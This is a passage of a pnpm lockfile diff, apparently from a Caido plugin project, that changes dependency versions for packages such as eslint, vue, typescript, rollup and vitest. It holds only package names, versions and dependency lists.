snapshots: '@caido/plugin-manifest@0.3.0': dependencies: - ajv: 8.17.1 + ajv: 8.18.0 - '@caido/primevue@0.3.3(primevue@4.1.0(vue@3.5.26(typescript@5.9.3)))': + '@caido/primevue@0.3.3(primevue@4.1.0(vue@3.5.22(typescript@5.5.4)))': dependencies: - primevue: 4.1.0(vue@3.5.26(typescript@5.9.3)) + primevue: 4.1.0(vue@3.5.22(typescript@5.5.4)) - '@caido/quickjs-types@0.24.0': {} + '@caido/quickjs-types@0.25.4': {} - '@caido/sdk-backend@0.54.1': + '@caido/sdk-backend@0.55.3': dependencies: - '@caido/quickjs-types': 0.24.0 + '@caido/quickjs-types': 0.25.4 '@caido/sdk-shared': 0.1.1 - '@caido/sdk-frontend@0.54.1(@ai-sdk/provider@2.0.0)(@codemirror/state@6.5.2)(@codemirror/view@6.39.8)(vue@3.5.26(typescript@5.9.3))': + '@caido/sdk-frontend@0.55.3(@ai-sdk/provider@3.0.8)(@codemirror/state@6.6.0)(@codemirror/view@6.38.5)(vue@3.5.22(typescript@5.5.4))': dependencies: - '@ai-sdk/provider': 2.0.0 - '@codemirror/state': 6.5.2 - '@codemirror/view': 6.39.8 - vue: 3.5.26(typescript@5.9.3) + '@ai-sdk/provider': 3.0.8 + '@codemirror/state': 6.6.0 + '@codemirror/view': 6.38.5 + vue: 3.5.22(typescript@5.5.4) '@caido/sdk-shared@0.1.1': {} @@ -2503,17 +2856,33 @@ snapshots: transitivePeerDependencies: - ts-node - '@codemirror/state@6.5.2': + '@codemirror/state@6.6.0': dependencies: '@marijn/find-cluster-break': 1.0.2 - '@codemirror/view@6.39.8': + '@codemirror/view@6.38.5': dependencies: - '@codemirror/state': 6.5.2 + '@codemirror/state': 6.6.0 crelt: 1.0.6 style-mod: 4.1.3 w3c-keyname: 2.2.8 + '@emnapi/core@1.9.2': + dependencies: + '@emnapi/wasi-threads': 1.2.1 + tslib: 2.8.1 + optional: true + + '@emnapi/runtime@1.9.2': + dependencies: + tslib: 2.8.1 + optional: true + + '@emnapi/wasi-threads@1.2.1': + dependencies: + tslib: 2.8.1 + optional: true + '@esbuild/aix-ppc64@0.24.2': optional: true @@ -2589,36 +2958,54 @@ snapshots: '@esbuild/win32-x64@0.24.2': optional: true - '@eslint-community/eslint-utils@4.9.0(eslint@10.0.0(jiti@1.21.7))': + '@eslint-community/eslint-utils@4.9.1(eslint@9.29.0(jiti@2.4.2))': dependencies: - eslint: 10.0.0(jiti@1.21.7) + eslint: 9.29.0(jiti@2.4.2) eslint-visitor-keys: 3.4.3 '@eslint-community/regexpp@4.12.2': {} - '@eslint/config-array@0.23.1': + '@eslint/config-array@0.20.1': dependencies: - '@eslint/object-schema': 3.0.1 + '@eslint/object-schema': 2.1.7 debug: 4.4.3 - minimatch: 10.1.1 + minimatch: 3.1.5 transitivePeerDependencies: - supports-color - '@eslint/config-helpers@0.5.2': + '@eslint/config-helpers@0.2.3': {} + + '@eslint/core@0.14.0': dependencies: - '@eslint/core': 1.1.0 + '@types/json-schema': 7.0.15 - '@eslint/core@1.1.0': + '@eslint/core@0.15.2': dependencies: '@types/json-schema': 7.0.15 + '@eslint/eslintrc@3.3.5': + dependencies: + ajv: 6.14.0 + debug: 4.4.3 + espree: 10.4.0 + globals: 14.0.0 + ignore: 5.3.2 + import-fresh: 3.3.1 + js-yaml: 4.1.1 + minimatch: 3.1.5 + strip-json-comments: 3.1.1 + transitivePeerDependencies: + - supports-color + '@eslint/js@9.17.0': {} - '@eslint/object-schema@3.0.1': {} + '@eslint/js@9.29.0': {} - '@eslint/plugin-kit@0.6.0': + '@eslint/object-schema@2.1.7': {} + + '@eslint/plugin-kit@0.3.5': dependencies: - '@eslint/core': 1.1.0 + '@eslint/core': 0.15.2 levn: 0.4.1 '@humanfs/core@0.19.1': {} @@ -2632,20 +3019,7 @@ snapshots: '@humanwhocodes/retry@0.4.3': {} - '@isaacs/balanced-match@4.0.1': {} - - '@isaacs/brace-expansion@5.0.0': - dependencies: - '@isaacs/balanced-match': 4.0.1 - - '@isaacs/cliui@8.0.2': - dependencies: - string-width: 5.1.2 - string-width-cjs: string-width@4.2.3 - strip-ansi: 7.1.2 - strip-ansi-cjs: strip-ansi@6.0.1 - wrap-ansi: 8.1.0 - wrap-ansi-cjs: wrap-ansi@7.0.0 + '@isaacs/cliui@9.0.0': {} '@jridgewell/gen-mapping@0.3.13': dependencies: @@ -2665,6 +3039,13 @@ snapshots: '@mdn/browser-compat-data@5.7.6': {} + '@napi-rs/wasm-runtime@1.1.3(@emnapi/core@1.9.2)(@emnapi/runtime@1.9.2)': + dependencies: + '@emnapi/core': 1.9.2 + '@emnapi/runtime': 1.9.2 + '@tybys/wasm-util': 0.10.1 + optional: true + '@nodelib/fs.scandir@2.1.5': dependencies: '@nodelib/fs.stat': 2.0.5 @@ -2675,7 +3056,72 @@ snapshots: '@nodelib/fs.walk@1.2.8': dependencies: '@nodelib/fs.scandir': 2.1.5 - fastq: 1.19.1 + fastq: 1.20.1 + + '@oxc-resolver/binding-android-arm-eabi@11.19.1': + optional: true + + '@oxc-resolver/binding-android-arm64@11.19.1': + optional: true + + '@oxc-resolver/binding-darwin-arm64@11.19.1': + optional: true + + '@oxc-resolver/binding-darwin-x64@11.19.1': + optional: true + + '@oxc-resolver/binding-freebsd-x64@11.19.1': + optional: true + + '@oxc-resolver/binding-linux-arm-gnueabihf@11.19.1': + optional: true + + '@oxc-resolver/binding-linux-arm-musleabihf@11.19.1': + optional: true + + '@oxc-resolver/binding-linux-arm64-gnu@11.19.1': + optional: true + + '@oxc-resolver/binding-linux-arm64-musl@11.19.1': + optional: true + + '@oxc-resolver/binding-linux-ppc64-gnu@11.19.1': + optional: true + + '@oxc-resolver/binding-linux-riscv64-gnu@11.19.1': + optional: true + + '@oxc-resolver/binding-linux-riscv64-musl@11.19.1': + optional: true + + '@oxc-resolver/binding-linux-s390x-gnu@11.19.1': + optional: true + + '@oxc-resolver/binding-linux-x64-gnu@11.19.1': + optional: true + + '@oxc-resolver/binding-linux-x64-musl@11.19.1': + optional: true + + '@oxc-resolver/binding-openharmony-arm64@11.19.1': + optional: true + + '@oxc-resolver/binding-wasm32-wasi@11.19.1(@emnapi/core@1.9.2)(@emnapi/runtime@1.9.2)': + dependencies: + '@napi-rs/wasm-runtime': 1.1.3(@emnapi/core@1.9.2)(@emnapi/runtime@1.9.2) + transitivePeerDependencies: + - '@emnapi/core' + - '@emnapi/runtime' + optional: true + + '@oxc-resolver/binding-win32-arm64-msvc@11.19.1': + optional: true + + '@oxc-resolver/binding-win32-ia32-msvc@11.19.1': + optional: true + + '@oxc-resolver/binding-win32-x64-msvc@11.19.1': + optional: true '@pkgr/core@0.1.2': {} @@ -2685,88 +3131,109 @@ snapshots: '@primeuix/utils@0.2.0': {} - '@primevue/core@4.1.0(vue@3.5.26(typescript@5.9.3))': + '@primevue/core@4.1.0(vue@3.5.22(typescript@5.5.4))': dependencies: '@primeuix/styled': 0.2.0 '@primeuix/utils': 0.2.0 - vue: 3.5.26(typescript@5.9.3) + vue: 3.5.22(typescript@5.5.4) - '@primevue/icons@4.1.0(vue@3.5.26(typescript@5.9.3))': + '@primevue/icons@4.1.0(vue@3.5.22(typescript@5.5.4))': dependencies: '@primeuix/utils': 0.2.0 - '@primevue/core': 4.1.0(vue@3.5.26(typescript@5.9.3)) + '@primevue/core': 4.1.0(vue@3.5.22(typescript@5.5.4)) transitivePeerDependencies: - vue - '@rollup/rollup-android-arm-eabi@4.53.3': + '@rollup/rollup-android-arm-eabi@4.60.1': + optional: true + + '@rollup/rollup-android-arm64@4.60.1': + optional: true + + '@rollup/rollup-darwin-arm64@4.60.1': optional: true - '@rollup/rollup-android-arm64@4.53.3': + '@rollup/rollup-darwin-x64@4.60.1': optional: true - '@rollup/rollup-darwin-arm64@4.53.3': + '@rollup/rollup-freebsd-arm64@4.60.1': optional: true - '@rollup/rollup-darwin-x64@4.53.3': + '@rollup/rollup-freebsd-x64@4.60.1': optional: true - '@rollup/rollup-freebsd-arm64@4.53.3': + '@rollup/rollup-linux-arm-gnueabihf@4.60.1': optional: true - '@rollup/rollup-freebsd-x64@4.53.3': + '@rollup/rollup-linux-arm-musleabihf@4.60.1': optional: true - '@rollup/rollup-linux-arm-gnueabihf@4.53.3': + '@rollup/rollup-linux-arm64-gnu@4.60.1': optional: true - '@rollup/rollup-linux-arm-musleabihf@4.53.3': + '@rollup/rollup-linux-arm64-musl@4.60.1': optional: true - '@rollup/rollup-linux-arm64-gnu@4.53.3': + '@rollup/rollup-linux-loong64-gnu@4.60.1': optional: true - '@rollup/rollup-linux-arm64-musl@4.53.3': + '@rollup/rollup-linux-loong64-musl@4.60.1': optional: true - '@rollup/rollup-linux-loong64-gnu@4.53.3': + '@rollup/rollup-linux-ppc64-gnu@4.60.1': optional: true - '@rollup/rollup-linux-ppc64-gnu@4.53.3': + '@rollup/rollup-linux-ppc64-musl@4.60.1': optional: true - '@rollup/rollup-linux-riscv64-gnu@4.53.3': + '@rollup/rollup-linux-riscv64-gnu@4.60.1': optional: true - '@rollup/rollup-linux-riscv64-musl@4.53.3': + '@rollup/rollup-linux-riscv64-musl@4.60.1': optional: true - '@rollup/rollup-linux-s390x-gnu@4.53.3': + '@rollup/rollup-linux-s390x-gnu@4.60.1': optional: true - '@rollup/rollup-linux-x64-gnu@4.53.3': + '@rollup/rollup-linux-x64-gnu@4.60.1': optional: true - '@rollup/rollup-linux-x64-musl@4.53.3': + '@rollup/rollup-linux-x64-musl@4.60.1': optional: true - '@rollup/rollup-openharmony-arm64@4.53.3': + '@rollup/rollup-openbsd-x64@4.60.1': optional: true - '@rollup/rollup-win32-arm64-msvc@4.53.3': + '@rollup/rollup-openharmony-arm64@4.60.1': optional: true - '@rollup/rollup-win32-ia32-msvc@4.53.3': + '@rollup/rollup-win32-arm64-msvc@4.60.1': optional: true - '@rollup/rollup-win32-x64-gnu@4.53.3': + '@rollup/rollup-win32-ia32-msvc@4.60.1': optional: true - '@rollup/rollup-win32-x64-msvc@4.53.3': + '@rollup/rollup-win32-x64-gnu@4.60.1': + optional: true + + '@rollup/rollup-win32-x64-msvc@4.60.1': optional: true '@rtsao/scc@1.1.0': {} - '@types/esrecurse@4.3.1': {} + '@standard-schema/spec@1.1.0': {} + + '@tybys/wasm-util@0.10.1': + dependencies: + tslib: 2.8.1 + optional: true + + '@types/chai@5.2.3': + dependencies: + '@types/deep-eql': 4.0.2 + assertion-error: 2.0.1 + + '@types/deep-eql@4.0.2': {} '@types/estree@1.0.8': {} @@ -2774,36 +3241,36 @@ snapshots: '@types/json5@0.0.29': {} - '@types/node@24.10.11': + '@types/node@25.5.2': dependencies: - undici-types: 7.16.0 + undici-types: 7.18.2 - '@typescript-eslint/eslint-plugin@8.26.1(@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3))(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3)': + '@typescript-eslint/eslint-plugin@8.26.1(@typescript-eslint/parser@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4))(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4)': dependencies: '@eslint-community/regexpp': 4.12.2 - '@typescript-eslint/parser': 8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) + '@typescript-eslint/parser': 8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4) '@typescript-eslint/scope-manager': 8.26.1 - '@typescript-eslint/type-utils': 8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) - '@typescript-eslint/utils': 8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) + '@typescript-eslint/type-utils': 8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4) + '@typescript-eslint/utils': 8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4) '@typescript-eslint/visitor-keys': 8.26.1 - eslint: 10.0.0(jiti@1.21.7) + eslint: 9.29.0(jiti@2.4.2) graphemer: 1.4.0 ignore: 5.3.2 natural-compare: 1.4.0 - ts-api-utils: 2.1.0(typescript@5.9.3) - typescript: 5.9.3 + ts-api-utils: 2.5.0(typescript@5.5.4) + typescript: 5.5.4 transitivePeerDependencies: - supports-color - '@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3)': + '@typescript-eslint/parser@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4)': dependencies: '@typescript-eslint/scope-manager': 8.26.1 '@typescript-eslint/types': 8.26.1 - '@typescript-eslint/typescript-estree': 8.26.1(typescript@5.9.3) + '@typescript-eslint/typescript-estree': 8.26.1(typescript@5.5.4) '@typescript-eslint/visitor-keys': 8.26.1 debug: 4.4.3 - eslint: 10.0.0(jiti@1.21.7) - typescript: 5.9.3 + eslint: 9.29.0(jiti@2.4.2) + typescript: 5.5.4 transitivePeerDependencies: - supports-color @@ -2812,41 +3279,41 @@ snapshots: '@typescript-eslint/types': 8.26.1 '@typescript-eslint/visitor-keys': 8.26.1 - '@typescript-eslint/type-utils@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3)': + '@typescript-eslint/type-utils@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4)': dependencies: - '@typescript-eslint/typescript-estree': 8.26.1(typescript@5.9.3) - '@typescript-eslint/utils': 8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) + '@typescript-eslint/typescript-estree': 8.26.1(typescript@5.5.4) + '@typescript-eslint/utils': 8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4) debug: 4.4.3 - eslint: 10.0.0(jiti@1.21.7) - ts-api-utils: 2.1.0(typescript@5.9.3) - typescript: 5.9.3 + eslint: 9.29.0(jiti@2.4.2) + ts-api-utils: 2.5.0(typescript@5.5.4) + typescript: 5.5.4 transitivePeerDependencies: - supports-color '@typescript-eslint/types@8.26.1': {} - '@typescript-eslint/typescript-estree@8.26.1(typescript@5.9.3)': + '@typescript-eslint/typescript-estree@8.26.1(typescript@5.5.4)': dependencies: '@typescript-eslint/types': 8.26.1 '@typescript-eslint/visitor-keys': 8.26.1 debug: 4.4.3 fast-glob: 3.3.3 is-glob: 4.0.3 - minimatch: 9.0.5 - semver: 7.7.3 - ts-api-utils: 2.1.0(typescript@5.9.3) - typescript: 5.9.3 + minimatch: 9.0.9 + semver: 7.7.4 + ts-api-utils: 2.5.0(typescript@5.5.4) + typescript: 5.5.4 transitivePeerDependencies: - supports-color - '@typescript-eslint/utils@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3)': + '@typescript-eslint/utils@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4)': dependencies: - '@eslint-community/eslint-utils': 4.9.0(eslint@10.0.0(jiti@1.21.7)) + '@eslint-community/eslint-utils': 4.9.1(eslint@9.29.0(jiti@2.4.2)) '@typescript-eslint/scope-manager': 8.26.1 '@typescript-eslint/types': 8.26.1 - '@typescript-eslint/typescript-estree': 8.26.1(typescript@5.9.3) - eslint: 10.0.0(jiti@1.21.7) - typescript: 5.9.3 + '@typescript-eslint/typescript-estree': 8.26.1(typescript@5.5.4) + eslint: 9.29.0(jiti@2.4.2) + typescript: 5.5.4 transitivePeerDependencies: - supports-color @@ -2855,156 +3322,205 @@ snapshots: '@typescript-eslint/types': 8.26.1 eslint-visitor-keys: 4.2.1 - '@vitejs/plugin-vue@5.2.4(vite@6.0.7(@types/node@24.10.11)(jiti@1.21.7)(yaml@2.8.2))(vue@3.5.26(typescript@5.9.3))': + '@vitejs/plugin-vue@5.2.1(vite@6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3))(vue@3.5.22(typescript@5.5.4))': + dependencies: + vite: 6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3) + vue: 3.5.22(typescript@5.5.4) + + '@vitest/expect@4.1.2': + dependencies: + '@standard-schema/spec': 1.1.0 + '@types/chai': 5.2.3 + '@vitest/spy': 4.1.2 + '@vitest/utils': 4.1.2 + chai: 6.2.2 + tinyrainbow: 3.1.0 + + '@vitest/mocker@4.1.2(vite@6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3))': + dependencies: + '@vitest/spy': 4.1.2 + estree-walker: 3.0.3 + magic-string: 0.30.21 + optionalDependencies: + vite: 6.0.7(@types/node@25.5.2)(jiti@2.4.2)(yaml@2.8.3) + + '@vitest/pretty-format@4.1.2': + dependencies: + tinyrainbow: 3.1.0 + + '@vitest/runner@4.1.2': + dependencies: + '@vitest/utils': 4.1.2 + pathe: 2.0.3 + + '@vitest/snapshot@4.1.2': + dependencies: + '@vitest/pretty-format': 4.1.2 + '@vitest/utils': 4.1.2 + magic-string: 0.30.21 + pathe: 2.0.3 + + '@vitest/spy@4.1.2': {} + + '@vitest/utils@4.1.2': dependencies: - vite: 6.0.7(@types/node@24.10.11)(jiti@1.21.7)(yaml@2.8.2) - vue: 3.5.26(typescript@5.9.3) + '@vitest/pretty-format': 4.1.2 + convert-source-map: 2.0.0 + tinyrainbow: 3.1.0 - '@volar/language-core@2.4.15': + '@volar/language-core@2.4.23': dependencies: - '@volar/source-map': 2.4.15 + '@volar/source-map': 2.4.23 - '@volar/source-map@2.4.15': {} + '@volar/source-map@2.4.23': {} - '@volar/typescript@2.4.15': + '@volar/typescript@2.4.23': dependencies: - '@volar/language-core': 2.4.15 + '@volar/language-core': 2.4.23 path-browserify: 1.0.1 vscode-uri: 3.1.0 - '@vue/compiler-core@3.5.25': + '@vue/compiler-core@3.5.22': dependencies: - '@babel/parser': 7.28.5 - '@vue/shared': 3.5.25 + '@babel/parser': 7.29.2 + '@vue/shared': 3.5.22 entities: 4.5.0 estree-walker: 2.0.2 source-map-js: 1.2.1 - '@vue/compiler-core@3.5.26': + '@vue/compiler-core@3.5.32': dependencies: - '@babel/parser': 7.28.5 - '@vue/shared': 3.5.26 - entities: 7.0.0 + '@babel/parser': 7.29.2 + '@vue/shared': 3.5.32 + entities: 7.0.1 estree-walker: 2.0.2 source-map-js: 1.2.1 - '@vue/compiler-dom@3.5.25': + '@vue/compiler-dom@3.5.22': dependencies: - '@vue/compiler-core': 3.5.25 - '@vue/shared': 3.5.25 + '@vue/compiler-core': 3.5.22 + '@vue/shared': 3.5.22 - '@vue/compiler-dom@3.5.26': + '@vue/compiler-dom@3.5.32': dependencies: - '@vue/compiler-core': 3.5.26 - '@vue/shared': 3.5.26 + '@vue/compiler-core': 3.5.32 + '@vue/shared': 3.5.32 - '@vue/compiler-sfc@3.5.26': + '@vue/compiler-sfc@3.5.22': dependencies: - '@babel/parser': 7.28.5 - '@vue/compiler-core': 3.5.26 - '@vue/compiler-dom': 3.5.26 - '@vue/compiler-ssr': 3.5.26 - '@vue/shared': 3.5.26 + '@babel/parser': 7.29.2 + '@vue/compiler-core': 3.5.22 + '@vue/compiler-dom': 3.5.22 + '@vue/compiler-ssr': 3.5.22 + '@vue/shared': 3.5.22 estree-walker: 2.0.2 magic-string: 0.30.21 - postcss: 8.5.6 + postcss: 8.5.9 source-map-js: 1.2.1 - '@vue/compiler-ssr@3.5.26': + '@vue/compiler-ssr@3.5.22': + dependencies: + '@vue/compiler-dom': 3.5.22 + '@vue/shared': 3.5.22 + + '@vue/devtools-api@7.7.9': + dependencies: + '@vue/devtools-kit': 7.7.9 + + '@vue/devtools-kit@7.7.9': dependencies: - '@vue/compiler-dom': 3.5.26 - '@vue/shared': 3.5.26 + '@vue/devtools-shared': 7.7.9 + birpc: 2.9.0 + hookable: 5.5.3 + mitt: 3.0.1 + perfect-debounce: 1.0.0 + speakingurl: 14.0.1 + superjson: 2.2.6 - '@vue/compiler-vue2@2.7.16': + '@vue/devtools-shared@7.7.9': dependencies: - de-indent: 1.0.2 - he: 1.2.0 + rfdc: 1.4.1 - '@vue/language-core@2.2.12(typescript@5.9.3)': + '@vue/language-core@3.1.1(typescript@5.5.4)': dependencies: - '@volar/language-core': 2.4.15 - '@vue/compiler-dom': 3.5.25 - '@vue/compiler-vue2': 2.7.16 - '@vue/shared': 3.5.25 - alien-signals: 1.0.13 - minimatch: 9.0.5 + '@volar/language-core': 2.4.23 + '@vue/compiler-dom': 3.5.32 + '@vue/shared': 3.5.32 + alien-signals: 3.1.2 muggle-string: 0.4.1 path-browserify: 1.0.1 + picomatch: 4.0.4 optionalDependencies: - typescript: 5.9.3 + typescript: 5.5.4 - '@vue/reactivity@3.5.26': + '@vue/reactivity@3.5.22': dependencies: - '@vue/shared': 3.5.26 + '@vue/shared': 3.5.22 - '@vue/runtime-core@3.5.26': + '@vue/runtime-core@3.5.22': dependencies: - '@vue/reactivity': 3.5.26 - '@vue/shared': 3.5.26 + '@vue/reactivity': 3.5.22 + '@vue/shared': 3.5.22 - '@vue/runtime-dom@3.5.26': + '@vue/runtime-dom@3.5.22': dependencies: - '@vue/reactivity': 3.5.26 - '@vue/runtime-core': 3.5.26 - '@vue/shared': 3.5.26 + '@vue/reactivity': 3.5.22 + '@vue/runtime-core': 3.5.22 + '@vue/shared': 3.5.22 csstype: 3.2.3 - '@vue/server-renderer@3.5.26(vue@3.5.26(typescript@5.9.3))': + '@vue/server-renderer@3.5.22(vue@3.5.22(typescript@5.5.4))': dependencies: - '@vue/compiler-ssr': 3.5.26 - '@vue/shared': 3.5.26 - vue: 3.5.26(typescript@5.9.3) + '@vue/compiler-ssr': 3.5.22 + '@vue/shared': 3.5.22 + vue: 3.5.22(typescript@5.5.4) - '@vue/shared@3.5.25': {} + '@vue/shared@3.5.22': {} - '@vue/shared@3.5.26': {} + '@vue/shared@3.5.32': {} accepts@2.0.0: dependencies: mime-types: 3.0.2 negotiator: 1.0.0 - acorn-jsx@5.3.2(acorn@8.15.0): + acorn-jsx@5.3.2(acorn@8.16.0): dependencies: - acorn: 8.15.0 + acorn: 8.16.0 - acorn@8.15.0: {} + acorn@8.16.0: {} - ajv@6.12.6: + ajv@6.14.0: dependencies: fast-deep-equal: 3.1.3 fast-json-stable-stringify: 2.1.0 json-schema-traverse: 0.4.1 uri-js: 4.4.1 - ajv@8.17.1: + ajv@8.18.0: dependencies: fast-deep-equal: 3.1.3 fast-uri: 3.1.0 json-schema-traverse: 1.0.0 require-from-string: 2.0.2 - alien-signals@1.0.13: {} - - ansi-regex@5.0.1: {} - - ansi-regex@6.2.2: {} + alien-signals@3.1.2: {} ansi-styles@4.3.0: dependencies: color-convert: 2.0.1 - ansi-styles@6.2.3: {} - any-promise@1.3.0: {} anymatch@3.1.3: dependencies: normalize-path: 3.0.0 - picomatch: 2.3.1 + picomatch: 2.3.2 arg@5.0.2: {} + argparse@2.0.1: {} + array-buffer-byte-length@1.0.2: dependencies: call-bound: 1.0.4 @@ -3015,7 +3531,7 @@ snapshots: call-bind: 1.0.8 call-bound: 1.0.4 define-properties: 1.2.1 - es-abstract: 1.24.1 + es-abstract: 1.24.2 es-object-atoms: 1.1.1 get-intrinsic: 1.3.0 is-string: 1.1.1 @@ -3026,7 +3542,7 @@ snapshots: call-bind: 1.0.8 call-bound: 1.0.4 define-properties: 1.2.1 - es-abstract: 1.24.1 + es-abstract: 1.24.2 es-errors: 1.3.0 es-object-atoms: 1.1.1 es-shim-unscopables: 1.1.0 @@ -3035,14 +3551,14 @@ snapshots: dependencies: call-bind: 1.0.8 define-properties: 1.2.1 - es-abstract: 1.24.1 + es-abstract: 1.24.2 es-shim-unscopables: 1.1.0 array.prototype.flatmap@1.3.3: dependencies: call-bind: 1.0.8 define-properties: 1.2.1 - es-abstract: 1.24.1 + es-abstract: 1.24.2 es-shim-unscopables: 1.1.0 arraybuffer.prototype.slice@1.0.4: @@ -3050,11 +3566,13 @@ snapshots: array-buffer-byte-length: 1.0.2 call-bind: 1.0.8 define-properties: 1.2.1 - es-abstract: 1.24.1 + es-abstract: 1.24.2 es-errors: 1.3.0 get-intrinsic: 1.3.0 is-array-buffer: 3.0.5 + assertion-error@2.0.1: {} + ast-metadata-inferer@0.8.1: dependencies: '@mdn/browser-compat-data': 5.7.6 @@ -3067,19 +3585,23 @@ snapshots: balanced-match@1.0.2: {} - baseline-browser-mapping@2.9.7: {} + balanced-match@4.0.4: {} + + baseline-browser-mapping@2.10.16: {} binary-extensions@2.3.0: {} - body-parser@2.2.1: + birpc@2.9.0: {} + + body-parser@2.2.2: dependencies: bytes: 3.1.2 content-type: 1.0.5 debug: 4.4.3 http-errors: 2.0.0 - iconv-lite: 0.7.1 + iconv-lite: 0.7.2 on-finished: 2.4.1 - qs: 6.14.0 + qs: 6.15.0 raw-body: 3.0.2 type-is: 2.0.1 transitivePeerDependencies: @@ -3087,26 +3609,30 @@ snapshots: boolbase@1.0.0: {} - brace-expansion@1.1.12: + brace-expansion@1.1.13: dependencies: balanced-match: 1.0.2 concat-map: 0.0.1 - brace-expansion@2.0.2: + brace-expansion@2.0.3: dependencies: balanced-match: 1.0.2 + brace-expansion@5.0.5: + dependencies: + balanced-match: 4.0.4 + braces@3.0.3: dependencies: fill-range: 7.1.1 - browserslist@4.28.1: + browserslist@4.28.2: dependencies: - baseline-browser-mapping: 2.9.7 - caniuse-lite: 1.0.30001760 - electron-to-chromium: 1.5.267 - node-releases: 2.0.27 - update-browserslist-db: 1.2.2(browserslist@4.28.1) + baseline-browser-mapping: 2.10.16 + caniuse-lite: 1.0.30001787 + electron-to-chromium: 1.5.334 + node-releases: 2.0.37 + update-browserslist-db: 1.2.3(browserslist@4.28.2) bundle-require@5.1.0(esbuild@0.24.2): dependencies: @@ -3134,9 +3660,18 @@ snapshots: call-bind-apply-helpers: 1.0.2 get-intrinsic: 1.3.0 + callsites@3.1.0: {} + camelcase-css@2.0.1: {} - caniuse-lite@1.0.30001760: {} + caniuse-lite@1.0.30001787: {} + + chai@6.2.2: {} + + chalk@4.1.2: + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 chalk@5.4.1: {} @@ -3170,14 +3705,20 @@ snapshots: consola@3.4.2: {} - content-disposition@1.0.1: {} + content-disposition@1.1.0: {} content-type@1.0.5: {} + convert-source-map@2.0.0: {} + cookie-signature@1.2.2: {} cookie@0.6.0: {} + copy-anything@4.0.5: + dependencies: + is-what: 5.5.0 + core-util-is@1.0.3: {} crelt@1.0.6: {} @@ -3210,8 +3751,6 @@ snapshots: es-errors: 1.3.0 is-data-view: 1.0.2 - de-indent@1.0.2: {} - debug@3.2.7: dependencies: ms: 2.1.3 @@ -3254,28 +3793,22 @@ snapshots: es-errors: 1.3.0 gopd: 1.2.0 - eastasianwidth@0.2.0: {} - ee-first@1.1.1: {} - electron-to-chromium@1.5.267: {} - - emoji-regex@8.0.0: {} - - emoji-regex@9.2.2: {} + electron-to-chromium@1.5.334: {} encodeurl@2.0.0: {} - enhanced-resolve@5.18.4: + enhanced-resolve@5.20.1: dependencies: graceful-fs: 4.2.11 - tapable: 2.3.0 + tapable: 2.3.2 entities@4.5.0: {} - entities@7.0.0: {} + entities@7.0.1: {} - es-abstract@1.24.1: + es-abstract@1.24.2: dependencies: array-buffer-byte-length: 1.0.2 arraybuffer.prototype.slice: 1.0.4 @@ -3330,12 +3863,14 @@ snapshots: typed-array-byte-offset: 1.0.4 typed-array-length: 1.0.7 unbox-primitive: 1.1.0 - which-typed-array: 1.1.19 + which-typed-array: 1.1.20 es-define-property@1.0.1: {} es-errors@1.3.0: {} + es-module-lexer@2.0.0: {} + es-object-atoms@1.1.1: dependencies: es-errors: 1.3.0 @@ -3391,53 +3926,53 @@ snapshots: escape-string-regexp@4.0.0: {} - eslint-compat-utils@0.5.1(eslint@10.0.0(jiti@1.21.7)): + eslint-compat-utils@0.5.1(eslint@9.29.0(jiti@2.4.2)): dependencies: - eslint: 10.0.0(jiti@1.21.7) - semver: 7.7.3 + eslint: 9.29.0(jiti@2.4.2) + semver: 7.7.4 - eslint-config-prettier@10.1.1(eslint@10.0.0(jiti@1.21.7)): + eslint-config-prettier@10.1.1(eslint@9.29.0(jiti@2.4.2)): dependencies: - eslint: 10.0.0(jiti@1.21.7) + eslint: 9.29.0(jiti@2.4.2) - eslint-import-resolver-node@0.3.9: + eslint-import-resolver-node@0.3.10: dependencies: debug: 3.2.7 is-core-module: 2.16.1 - resolve: 1.22.11 + resolve: 2.0.0-next.6 transitivePeerDependencies: - supports-color - eslint-module-utils@2.12.1(@typescript-eslint/parser@8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3))(eslint-import-resolver-node@0.3.9)(eslint@10.0.0(jiti@1.21.7)): + eslint-module-utils@2.12.1(@typescript-eslint/parser@8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4))(eslint-import-resolver-node@0.3.10)(eslint@9.29.0(jiti@2.4.2)): dependencies: debug: 3.2.7 optionalDependencies: - '@typescript-eslint/parser': 8.26.1(eslint@10.0.0(jiti@1.21.7))(typescript@5.9.3) - eslint: 10.0.0(jiti@1.21.7) - eslint-import-resolver-node: 0.3.9 + '@typescript-eslint/parser': 8.26.1(eslint@9.29.0(jiti@2.4.2))(typescript@5.5.4) + eslint: 9.29.0(jiti@2.4.2) + eslint-import-resolver-node: 0.3.10 transitivePeerDependencies: - supports-color - eslint-plugin-compat@6.0.2(eslint@10.0.0(jiti@1.21.7)): + eslint-plugin-compat@6.0.2(eslint@9.29.0(jiti@2.4.2)): dependencies: '@mdn/browser-compat-data': 5.7.6 ast-metadata-inferer: 0.8.1 - browserslist: 4.28.1 - caniuse-lite: 1.0.30001760 - eslint: 10.0.0(jiti@1.21.7) + browserslist: 4.28.2 + caniuse-lite: 1.0.30001787 + eslint: 9.29.0(jiti@2.4.2) find-up: 5.0.0 globals: 15.15.0 lodash.memoize: 